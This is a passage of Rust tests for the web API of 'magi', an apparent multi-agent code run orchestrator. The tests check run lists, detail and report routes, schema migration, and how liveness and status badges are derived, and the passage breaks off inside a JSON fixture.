19521            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
19522            let mut sorted = dates.clone();
19523            sorted.sort();
19524            assert_eq!(dates, sorted);
19525            for d in daily {
19526                assert_eq!(
19527                    d["merged"].as_u64().unwrap()
19528                        + d["ready"].as_u64().unwrap()
19529                        + d["other"].as_u64().unwrap(),
19530                    d["runs"].as_u64().unwrap()
19531                );
19532            }
19533            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
19534        }
19535    }
19536
19537    #[tokio::test]
19538    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
19539        let f = Fixture::start().await;
19540        write_run_repo(
19541            &f.runs(),
19542            "20260902-140501-a",
19543            RunStatus::Merged,
19544            "/repos/a",
19545        );
19546
19547        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
19548        assert_eq!(stats.status, 404);
19549    }
19550
19551    #[tokio::test]
19552    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
19553        let f = Fixture::start().await;
19554        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
19555
19556        let summary = f.get("/api/runs").await.json();
19557        let row = &summary[0];
19558        assert_eq!(row["short"], "a1b2");
19559        assert_eq!(row["status"], "ready");
19560        assert_eq!(row["done"], true);
19561        assert_eq!(row["title"], "Add a web UI");
19562        assert_eq!(row["repo_name"], "magi");
19563        assert_eq!(row["judges"], 3);
19564        assert_eq!(row["winner"], Value::Null);
19565        assert_eq!(row["reviews"], 0);
19566
19567        // The short id resolves, and the detail route is the state itself, not
19568        // a projection of it: the UI reads fields the summary does not carry.
19569        let detail = f.get("/api/runs/a1b2").await;
19570        assert_eq!(detail.status, 200);
19571        assert_eq!(detail.json()["base_branch"], "main");
19572        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
19573    }
19574
19575    /// `status: "ready"` alone cannot tell a run still headed for a landing
19576    /// (a PR closed without merging, say) apart from one `[merge] mode =
19577    /// "none"` left unmerged for good — the confusion the operator flagged
19578    /// after the CLI report already grew a `not landed — nothing to do by
19579    /// design` line for exactly this case (`report.rs`). Both the list route
19580    /// and the detail route must carry a flag the phone can key on instead of
19581    /// re-deriving it from `status` + `merge.mode` itself.
19582    #[tokio::test]
19583    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
19584        let f = Fixture::start().await;
19585
19586        let mut none_run = RunState::new(
19587            PathBuf::from("/repo/magi"),
19588            "main".to_owned(),
19589            "0123456789abcdef".to_owned(),
19590            "Add a web UI".to_owned(),
19591            Config::default(),
19592        );
19593        none_run.id = "20260902-140503-none".to_owned();
19594        none_run.status = RunStatus::Ready;
19595        none_run.merge = Some(crate::run::MergeOutcome {
19596            mode: crate::config::MergeMode::None,
19597            ok: true,
19598            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
19599            empty: false,
19600        });
19601        write_state(&f.runs(), &none_run);
19602
19603        let mut pr_run = RunState::new(
19604            PathBuf::from("/repo/magi"),
19605            "main".to_owned(),
19606            "0123456789abcdef".to_owned(),
19607            "Add a web UI".to_owned(),
19608            Config::default(),
19609        );
19610        pr_run.id = "20260902-140504-prcl".to_owned();
19611        pr_run.status = RunStatus::Ready;
19612        pr_run.merge = Some(crate::run::MergeOutcome {
19613            mode: crate::config::MergeMode::Pr,
19614            ok: false,
19615            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
19616            empty: false,
19617        });
19618        write_state(&f.runs(), &pr_run);
19619
19620        let summary = f.get("/api/runs").await.json();
19621        let rows: std::collections::HashMap<&str, &Value> = summary
19622            .as_array()
19623            .expect("an array")
19624            .iter()
19625            .map(|r| (r["id"].as_str().expect("an id"), r))
19626            .collect();
19627        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
19628        assert_eq!(
19629            rows[none_run.id.as_str()]["unmerged_by_design"],
19630            true,
19631            "a mode-none Ready must be flagged in the list"
19632        );
19633        assert_eq!(
19634            rows[pr_run.id.as_str()]["unmerged_by_design"],
19635            false,
19636            "a Ready reached by a closed pull request is a different case"
19637        );
19638
19639        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
19640        assert_eq!(none_detail["status"], "ready");
19641        assert_eq!(none_detail["unmerged_by_design"], true);
19642
19643        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
19644        assert_eq!(pr_detail["unmerged_by_design"], false);
19645    }
19646
19647    /// `RunState::active` is only ever cleared by whoever populated it, so the
19648    /// detail route also has to say whether a daemon is actually still
19649    /// driving this run right now — otherwise a seat from a killed process's
19650    /// last wave would read as live forever.
19651    #[tokio::test]
19652    async fn run_core_survives_unavailable_related_stores() {
19653        let home = TempDir::new().unwrap();
19654        let ui = delta_test_ui(home.path());
19655        let state = RunState::new(
19656            PathBuf::from("/repo/magi"),
19657            "main".into(),
19658            "0123456789abcdef".into(),
19659            "Useful core instructions".into(),
19660            Config::default(),
19661        );
19662        let dir = ui.runs.join(&state.id);
19663        std::fs::create_dir_all(&dir).unwrap();
19664        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
19665        std::fs::write(ui.questions.root(), "unavailable").unwrap();
19666        std::fs::write(ui.queue.root(), "unavailable").unwrap();
19667        let core = run_core(State(ui.clone()), Path(state.id.clone()))
19668            .await
19669            .unwrap()
19670            .0;
19671        assert_eq!(core.state.instruction, state.instruction);
19672        assert_eq!(core.state.updated_at, state.updated_at);
19673        assert!(core.task.is_none());
19674        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
19675    }
19676
19677    #[tokio::test]
19678    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
19679        let f = Fixture::start().await;
19680        // Matches `write_daemon`'s hard-coded `current.run`, so the second
19681        // half of this test can claim the daemon is working on it without a
19682        // second helper.
19683        let id = "20260902-140502-bbbb";
19684        let mut state = RunState::new(
19685            PathBuf::from("/repo/magi"),
19686            "main".to_owned(),
19687            "0123456789abcdef".to_owned(),
19688            "Add a web UI".to_owned(),
19689            Config::default(),
19690        );
19691        state.id = id.to_owned();
19692        state.status = RunStatus::Judging;
19693        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
19694        let dir = f.runs().join(id);
19695        std::fs::create_dir_all(&dir).expect("run dir");
19696        std::fs::write(
19697            dir.join("run.json"),
19698            serde_json::to_string_pretty(&state).expect("serialize run"),
19699        )
19700        .expect("write run.json");
19701
19702        // No daemon.json at all, and no `driver_pid` recorded either (this
19703        // state was written directly, never through `execute()`): there is
19704        // nothing to confirm either way, so the route must say `"unknown"` —
19705        // never `"dead"`, which is exactly the false diagnosis a manual `magi
19706        // run` used to get from this route before `driver_pid` existed.
19707        let cold = f.get(&format!("/api/runs/{id}")).await.json();
19708        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
19709        assert_eq!(cold["live"], "unknown", "{cold}");
19710
19711        // A fresh heartbeat naming exactly this run: the same entry now reads
19712        // as confirmed, not merely recorded.
19713        write_daemon(f.home.path(), Timestamp::now());
19714        let warm = f.get(&format!("/api/runs/{id}")).await.json();
19715        assert_eq!(warm["live"], "live", "{warm}");
19716    }
19717
19718    #[test]
19719    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19720        let home = tempfile::tempdir().expect("temp home");
19721        let runs = home.path().join("runs");
19722        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19723            let mut state = RunState::new(
19724                PathBuf::from("/repo/magi"),
19725                "main".to_owned(),
19726                "0123456789abcdef".to_owned(),
19727                "Generated review context, not authored task criteria".to_owned(),
19728                Config::default(),
19729            );
19730            state.origin = origin;
19731            state.status = RunStatus::Blocked;
19732            // Earlier migrations must not infer these facts again.
19733            state.driver_exited = false;
19734            state.gate_ran = true;
19735            let expected = serde_json::to_value(&state).expect("serialize current state");
19736            let mut legacy = expected.clone();
19737            legacy["schema"] = serde_json::json!(13);
19738            legacy.as_object_mut().unwrap().remove("task_instruction");
19739            let dir = runs.join(&state.id);
19740            std::fs::create_dir_all(&dir).expect("run dir");
19741            let path = dir.join("run.json");
19742            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19743            std::fs::write(&path, &body).expect("write legacy run");
19744
19745            for loaded in [
19746                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19747                read_run(&runs, &state.id).expect("web migration"),
19748            ] {
19749                assert_eq!(loaded.schema, crate::run::SCHEMA);
19750                assert!(loaded.task_instruction.is_none());
19751                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19752            }
19753            assert_eq!(runs_unreadable(&runs), 0);
19754            assert_eq!(std::fs::read(&path).unwrap(), body);
19755        }
19756    }
19757
19758    /// Where a run came from is shown, and a run written before origins were
19759    /// recorded (schema 12, no `origin` key) stays readable and says so.
19760    #[tokio::test]
19761    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19762        let f = Fixture::start().await;
19763        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19764            let mut state = RunState::new(
19765                PathBuf::from("/repo/magi"),
19766                "main".to_owned(),
19767                "0123456789abcdef".to_owned(),
19768                "Add a web UI".to_owned(),
19769                Config::default(),
19770            );
19771            state.id = id.to_owned();
19772            state.origin = origin;
19773            let mut value = serde_json::to_value(&state).expect("serialize run");
19774            if let Some(schema) = schema {
19775                value["schema"] = serde_json::json!(schema);
19776                value.as_object_mut().unwrap().remove("origin");
19777            }
19778            let dir = f.runs().join(id);
19779            std::fs::create_dir_all(&dir).expect("run dir");
19780            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19781        };
19782        write(
19783            "20260930-092817-ec34",
19784            Some(crate::run::Origin::from_agent_env(
19785                Some(("4a7b".to_owned(), "chat".to_owned())),
19786                None,
19787            )),
19788            None,
19789        );
19790        write("20260930-092817-0ld1", None, Some(12));
19791
19792        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19793        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19794        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19795
19796        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19797        assert_eq!(
19798            old["origin_label"], "origin unknown (started before origins were recorded)",
19799            "{old}"
19800        );
19801        assert!(old["origin"].is_null(), "{old}");
19802
19803        let list = f.get("/api/runs").await.json();
19804        let labels: Vec<_> = list
19805            .as_array()
19806            .unwrap()
19807            .iter()
19808            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19809            .collect();
19810        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19811    }
19812
19813    #[tokio::test]
19814    async fn run_progress_observation_exposes_activity_without_control_evidence() {
19815        let f = Fixture::start().await;
19816        let mut state = RunState::new(
19817            PathBuf::from("/repo"),
19818            "main".into(),
19819            "abc".into(),
19820            "task".into(),
19821            Config::default(),
19822        );
19823        state.status = RunStatus::Implementing;
19824        state.seat_started(
19825            "implement",
19826            "implement-A",
19827            std::time::Duration::from_secs(60),
19828            0,
19829        );
19830        state.save_under(f.home.path()).unwrap();
19831        let observed = f
19832            .get(&format!("/api/runs/{}/progress", state.id))
19833            .await
19834            .json();
19835        assert_eq!(observed["id"], state.id);
19836        assert!(observed["observed_at"].is_string());
19837        assert_eq!(observed["updated_at"], state.updated_at.to_string());
19838        assert!(observed["progress"]["activity"].is_string());
19839        for field in [
19840            "config",
19841            "candidates",
19842            "land_approval",
19843            "task",
19844            "waiting",
19845            "done",
19846        ] {
19847            assert!(
19848                observed.get(field).is_none(),
19849                "progress must not expose control evidence: {field}"
19850            );
19851        }
19852    }
19853
19854    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19855    /// review` claims no daemon at all, so before this field existed the
19856    /// route above read it as `"dead"` — indistinguishable from a run a
19857    /// killed process abandoned — the whole time it was genuinely still
19858    /// answering. With a live pid recorded, it must read `"live"` even
19859    /// though no daemon claims it.
19860    #[tokio::test]
19861    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19862        let f = Fixture::start().await;
19863        let id = "20260922-090000-cccc";
19864        let mut state = RunState::new(
19865            PathBuf::from("/repo/magi"),
19866            "main".to_owned(),
19867            "0123456789abcdef".to_owned(),
19868            "Review only".to_owned(),
19869            Config::default(),
19870        );
19871        state.id = id.to_owned();
19872        state.status = RunStatus::Reviewing;
19873        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19874        // This test process's own pid: guaranteed alive, and never needs a
19875        // real daemon or a second process to prove it. The matching start-time
19876        // marker is what `liveness` now requires alongside a live pid — see
19877        // `RunState::driver_started_at`'s own doc for why the pid alone is
19878        // not enough.
19879        state.driver_pid = Some(std::process::id());
19880        state.driver_started_at = Some(
19881            crate::proc::process_started_at(std::process::id())
19882                .expect("this test process's own start time must be queryable"),
19883        );
19884        let dir = f.runs().join(id);
19885        std::fs::create_dir_all(&dir).expect("run dir");
19886        std::fs::write(
19887            dir.join("run.json"),
19888            serde_json::to_string_pretty(&state).expect("serialize run"),
19889        )
19890        .expect("write run.json");
19891
19892        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19893        assert_eq!(detail["live"], "live", "{detail}");
19894    }
19895
19896    /// A killed manual run's pid can be handed to a wholly unrelated later
19897    /// process — a live query on `driver_pid` alone would read this as
19898    /// `"live"`, exactly the false positive `driver_started_at` exists to
19899    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19900    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19901    #[tokio::test]
19902    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19903        let f = Fixture::start().await;
19904        let id = "20260922-090100-dddd";
19905        let mut state = RunState::new(
19906            PathBuf::from("/repo/magi"),
19907            "main".to_owned(),
19908            "0123456789abcdef".to_owned(),
19909            "Review only".to_owned(),
19910            Config::default(),
19911        );
19912        state.id = id.to_owned();
19913        state.status = RunStatus::Reviewing;
19914        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19915        // This test process's own pid really is alive, but the marker
19916        // recorded here does not match what it actually started at —
19917        // standing in for the pid having since been reused by a different
19918        // process than the one that wrote `run.json`.
19919        state.driver_pid = Some(std::process::id());
19920        state.driver_started_at = Some("1".to_owned());
19921        let dir = f.runs().join(id);
19922        std::fs::create_dir_all(&dir).expect("run dir");
19923        std::fs::write(
19924            dir.join("run.json"),
19925            serde_json::to_string_pretty(&state).expect("serialize run"),
19926        )
19927        .expect("write run.json");
19928
19929        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19930        assert_eq!(detail["live"], "dead", "{detail}");
19931    }
19932
19933    /// The deck's competition list is normally the first place an operator
19934    /// sees an old run. It must carry the same process verdict as detail, or
19935    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19936    #[test]
19937    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19938        let mk = |id: &str, pid: Option<u32>| {
19939            let mut s = RunState::new(
19940                PathBuf::from("/repo/magi"),
19941                "main".to_owned(),
19942                "0123456789abcdef".to_owned(),
19943                "Add a web UI".to_owned(),
19944                Config::default(),
19945            );
19946            s.id = id.to_owned();
19947            s.driver_pid = pid;
19948            s.driver_started_at = Some("1790000000".to_owned());
19949            s
19950        };
19951        let states = vec![
19952            mk("20260902-140502-aaaa", Some(77)),
19953            mk("20260902-140502-bbbb", Some(77)),
19954            mk("20260902-140502-cccc", Some(77)),
19955            mk("20260902-140502-dddd", None),
19956        ];
19957        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19958        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19959        let sup: HashMap<String, String> = [(
19960            "20260902-140502-aaaa".to_owned(),
19961            "20260902-140502-cccc".to_owned(),
19962        )]
19963        .into();
19964
19965        let status_calls = std::cell::Cell::new(0);
19966        let identity_calls = std::cell::Cell::new(0);
19967        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19968            |_| {
19969                status_calls.set(status_calls.get() + 1);
19970                Some(true)
19971            },
19972            |_| {
19973                identity_calls.set(identity_calls.get() + 1);
19974                Some("1790000000".to_owned())
19975            },
19976        ));
19977        let rows = summarize(
19978            states,
19979            &open,
19980            &claimed,
19981            &sup,
19982            |p| probe.borrow_mut().status(p),
19983            |p| probe.borrow_mut().started_at(p),
19984        );
19985
19986        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19987        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19988        assert_eq!(rows.len(), 4);
19989        assert!(!rows[0].waiting && rows[1].waiting);
19990        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19991        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19992        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19993        assert_eq!(rows[1].superseded_by, None);
19994    }
19995
19996    #[test]
19997    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19998        let mut state = RunState::new(
19999            PathBuf::from("/repo/magi"),
20000            "main".to_owned(),
20001            "0123456789abcdef".to_owned(),
20002            "Review only".to_owned(),
20003            Config::default(),
20004        );
20005        state.id = "20260922-090200-dead".to_owned();
20006        state.status = RunStatus::Reviewing;
20007        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20008            .expect("serialize list row");
20009        assert_eq!(row["status"], "reviewing");
20010        assert_eq!(row["display_status"], "stale");
20011        assert_eq!(row["live"], "dead", "{row}");
20012        assert!(!row["done"].as_bool().unwrap());
20013    }
20014
20015    #[test]
20016    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20017        use crate::run::Liveness::{Dead, Live, Unknown};
20018        let mut state = RunState::new(
20019            PathBuf::from("/repo/magi"),
20020            "main".to_owned(),
20021            "abc".to_owned(),
20022            "Review only".to_owned(),
20023            Config::default(),
20024        );
20025        for (status, parked, node, waiting, live, expected) in [
20026            (
20027                RunStatus::Judging,
20028                true,
20029                "github-text",
20030                false,
20031                Dead,
20032                "parked",
20033            ),
20034            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20035            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20036            (
20037                RunStatus::Judging,
20038                true,
20039                "github-text",
20040                true,
20041                Dead,
20042                "waiting",
20043            ),
20044            (
20045                RunStatus::Judging,
20046                false,
20047                "github-text",
20048                true,
20049                Dead,
20050                "waiting",
20051            ),
20052            (
20053                RunStatus::Judging,
20054                false,
20055                "github-text",
20056                false,
20057                Dead,
20058                "stale",
20059            ),
20060            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20061            (RunStatus::Judging, true, "park", false, Live, "judging"),
20062            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20063            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20064            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20065            (
20066                RunStatus::Blocked,
20067                true,
20068                "github-text",
20069                true,
20070                Dead,
20071                "waiting",
20072            ),
20073        ] {
20074            state.status = status;
20075            state.parked = parked;
20076            state.events.clear();
20077            state.event(
20078                "park",
20079                "an earlier park does not determine the latest state",
20080            );
20081            state.event(node, "message is not used for classification");
20082            let summary = RunSummary::of(&state, waiting, live);
20083            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20084            assert_eq!(
20085                summary.display_status, expected,
20086                "{status:?}/{node}/{live:?}"
20087            );
20088            assert_eq!(detail.display_status, summary.display_status);
20089            assert_eq!(detail.waiting, summary.waiting);
20090        }
20091        state.status = RunStatus::Judging;
20092        state.parked = false;
20093        state.events.clear();
20094        assert_eq!(run_display_status(&state, false, Dead), "stale");
20095    }
20096
20097    #[test]
20098    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20099        use crate::run::Liveness::{Dead, Live, Unknown};
20100        let mut state = RunState::new(
20101            PathBuf::from("/repo/magi"),
20102            "main".to_owned(),
20103            "abc".to_owned(),
20104            "Badge".to_owned(),
20105            Config::default(),
20106        );
20107        for (status, waiting, live, superseded, expected) in [
20108            (RunStatus::Gating, false, Dead, false, "stale"),
20109            (RunStatus::Gating, false, Dead, true, "superseded"),
20110            (RunStatus::Gating, false, Unknown, true, "superseded"),
20111            (RunStatus::Gating, true, Dead, true, "superseded"),
20112            (RunStatus::Gating, true, Dead, false, "waiting"),
20113            (RunStatus::Gating, false, Unknown, false, "gating"),
20114            (RunStatus::Gating, false, Live, true, "gating"),
20115            (RunStatus::Gating, true, Live, true, "waiting"),
20116            (RunStatus::Merged, false, Dead, true, "merged"),
20117            (RunStatus::Blocked, false, Dead, true, "blocked"),
20118        ] {
20119            state.status = status;
20120            let display = run_display_status(&state, waiting, live);
20121            assert_eq!(
20122                run_badge_status(&state, &display, live, superseded),
20123                expected,
20124                "{status:?}/{live:?}/superseded={superseded}"
20125            );
20126        }
20127    }
20128
20129    #[test]
20130    fn summarize_and_detail_expose_badge_status() {
20131        use crate::run::Liveness::Dead;
20132        let mut state = RunState::new(
20133            PathBuf::from("/repo/magi"),
20134            "main".to_owned(),
20135            "abc".to_owned(),
20136            "Badge".to_owned(),
20137            Config::default(),
20138        );
20139        state.status = RunStatus::Gating;
20140        let none = HashSet::new();
20141        let id = state.id.clone();
20142        let mut by = HashMap::new();
20143        let rows = summarize(
20144            [state.clone()],
20145            &none,
20146            &none,
20147            &by,
20148            |_| Some(false),
20149            |_| None,
20150        );
20151        // No driver recorded: liveness is not provably dead, so the node stays.
20152        assert_eq!(rows[0].badge_status, rows[0].display_status);
20153        by.insert(id, "20260901-000000-913b".to_owned());
20154        let detail = RunDetailView::of(
20155            state.clone(),
20156            false,
20157            Dead,
20158            Some("913b".to_owned()),
20159            None,
20160            None,
20161        );
20162        assert_eq!(detail.badge_status, "superseded");
20163        let json = serde_json::to_value(&detail).unwrap();
20164        assert_eq!(json["badge_status"], "superseded");
20165        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20166        assert_eq!(detail.badge_status, "stale");
20167    }
20168
20169    #[tokio::test]
20170    async fn run_display_status_routes_share_the_open_question_store() {
20171        let f = Fixture::start().await;
20172        let id = "20260922-090200-abcd";
20173        write_run(&f.runs(), id, RunStatus::Judging);
20174        let mut state = read_run(&f.runs(), id).unwrap();
20175        state.parked = true;
20176        state.driver_exited = true;
20177        state.event("github-text", "waiting for the owner");
20178        state.save_under(f.home.path()).unwrap();
20179        let mut task = Task::new(
20180            "resumed task".to_owned(),
20181            "do it".to_owned(),
20182            PathBuf::from("/repo"),
20183            Source::Human,
20184        );
20185        task.runs = vec![id.to_owned(), id.to_owned()];
20186        f.queue().put(&mut task).unwrap();
20187        let store = f.questions();
20188        let mut q = Question::new(
20189            id.to_owned(),
20190            "github-text".to_owned(),
20191            "owner".to_owned(),
20192            "Approve the text?".to_owned(),
20193            String::new(),
20194            Vec::new(),
20195        );
20196        store.put(&mut q).unwrap();
20197        for expected in ["waiting", "parked"] {
20198            let list = f.get("/api/runs").await.json();
20199            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20200            assert_eq!(list[0]["display_status"], expected);
20201            assert_eq!(detail["display_status"], expected);
20202            assert_eq!(detail["waiting"], list[0]["waiting"]);
20203            assert_eq!(list[0]["badge_status"], expected);
20204            assert_eq!(detail["badge_status"], expected);
20205            assert!(list[0]["superseded_by"].is_null());
20206            assert!(detail["superseded_by"].is_null());
20207            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20208            let history = task_detail["history"].as_array().unwrap();
20209            assert_eq!(history.len(), 2);
20210            assert!(history[0]["badge"].is_null());
20211            assert_eq!(history[1]["badge"], expected);
20212            q.status = ask::QuestionStatus::Answered;
20213            store.put(&mut q).unwrap();
20214        }
20215    }
20216
20217    #[tokio::test]
20218    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20219        let f = Fixture::start().await;
20220        let id = "20260922-090200-abcd";
20221        write_run(&f.runs(), id, RunStatus::Judging);
20222        let mut state = read_run(&f.runs(), id).unwrap();
20223        state.parked = true;
20224        state.driver_exited = true;
20225        state.event("park", "stopped at a node boundary");
20226        state.save_under(f.home.path()).unwrap();
20227
20228        for expected in ["parked", "stale"] {
20229            let list = f.get("/api/runs").await.json();
20230            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20231            assert_eq!(list[0]["live"], "dead");
20232            assert_eq!(list[0]["display_status"], expected);
20233            assert_eq!(detail["display_status"], expected);
20234            // Model a driver claim followed by a crash before the next event:
20235            // the persisted flag changes, but the last event is still park.
20236            state.parked = false;
20237            state.save_under(f.home.path()).unwrap();
20238        }
20239    }
20240
20241    #[tokio::test]
20242    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20243        let f = Fixture::start().await;
20244        for id in [
20245            "20260902-140501-aaaa",
20246            "20260902-140502-bbbb",
20247            "20260902-140503-cccc",
20248        ] {
20249            write_run(&f.runs(), id, RunStatus::Merged);
20250        }
20251
20252        let all = f.get("/api/runs").await.json();
20253        let capped = f.get("/api/runs?limit=2").await.json();
20254
20255        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20256        assert_eq!(all.as_array().map(Vec::len), Some(3));
20257        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20258        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20259    }
20260
20261    #[tokio::test]
20262    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20263        let f = Fixture::start().await;
20264        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20265
20266        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20267
20268        assert_eq!(res.status, 200);
20269        assert!(
20270            res.headers
20271                .contains("content-type: text/plain; charset=utf-8"),
20272            "a browser must render it, not download it: {}",
20273            res.headers
20274        );
20275        // The assertion is on content, not on the absence of escapes: colour
20276        // is a process-global that `serve` turns off at startup, and another
20277        // test in this binary may own it while this one runs.
20278        assert!(
20279            res.body.contains("20260902-140501-a1b2"),
20280            "the report is about the run that was asked for: {}",
20281            res.body
20282        );
20283    }
20284
20285    #[tokio::test]
20286    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20287        // The view names the run's state directory, which reads the process-global home.
20288        crate::run::pin_test_home();
20289        let f = Fixture::start().await;
20290        let id = "20260902-140501-a1b2";
20291        write_run(&f.runs(), id, RunStatus::Stalled);
20292        // A stalled panel and one review round, written through the real
20293        // state file so the route reads what a run really leaves behind.
20294        let path = f.runs().join(id).join("run.json");
20295        let mut v: serde_json::Value =
20296            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20297        v["tally"] = serde_json::json!({
20298            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20299            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20300            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20301            "met_quorum": false, "rankings": 1
20302        });
20303        v["reviews"] = serde_json::json!([{
20304            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20305            "e2e_deferred": true,
20306            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20307                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20308            ]}]
20309        }]);
20310        std::fs::write(&path, v.to_string()).unwrap();
20311        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20312        std::fs::write(
20313            f.runs().join("20260902-140502-dead").join("run.json"),
20314            "{not json",
20315        )
20316        .unwrap();
20317
20318        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20319
20320        assert_eq!(res.status, 200, "{}", res.body);
20321        assert!(res.headers.contains("content-type: application/json"));
20322        let j = res.json();
20323        assert_eq!(j["schema"], 1);
20324        assert_eq!(j["header"]["id"], id);
20325        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20326        let kinds: Vec<&str> = j["sections"]
20327            .as_array()
20328            .unwrap()
20329            .iter()
20330            .map(|s| s["kind"].as_str().unwrap())
20331            .collect();
20332        assert_eq!(kinds, ["candidates", "tally", "review"]);
20333        let tally = &j["sections"][1]["tally"];
20334        assert_eq!(
20335            (tally["decided"].clone(), tally["provisional"].clone()),
20336            (false.into(), true.into())
20337        );
20338        let round = &j["sections"][2]["rounds"][0];
20339        assert_eq!(round["e2e"]["state"], "deferred");
20340        assert_eq!(round["findings"][0]["severity"], "major");
20341        assert_eq!(round["findings"][0]["blocking"], true);
20342        assert_eq!(round["findings"][0]["state"], "open");
20343
20344        // The raw route keeps working beside it.
20345        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20346
20347        // An unreadable run is an error, as on the text route, and is counted.
20348        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20349        assert_ne!(bad.status, 200, "{}", bad.body);
20350        assert_eq!(
20351            bad.status,
20352            f.get("/api/runs/20260902-140502-dead/report").await.status
20353        );
20354        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20355        assert_eq!(
20356            f.get("/api/runs/20260902-999999-ffff/report.json")
20357                .await
20358                .status,
20359            404
20360        );
20361    }
20362
20363    #[tokio::test]
20364    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20365        crate::run::pin_test_home();
20366        let f = Fixture::start().await;
20367        let id = "20260902-140503-delib";
20368        write_run(&f.runs(), id, RunStatus::Merged);
20369        let path = f.runs().join(id).join("run.json");
20370        let mut v: serde_json::Value =
20371            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20372        v["judgements"] = serde_json::json!([
20373            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20374        ]);
20375        v["tally"] = serde_json::json!({
20376            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20377            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20378            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
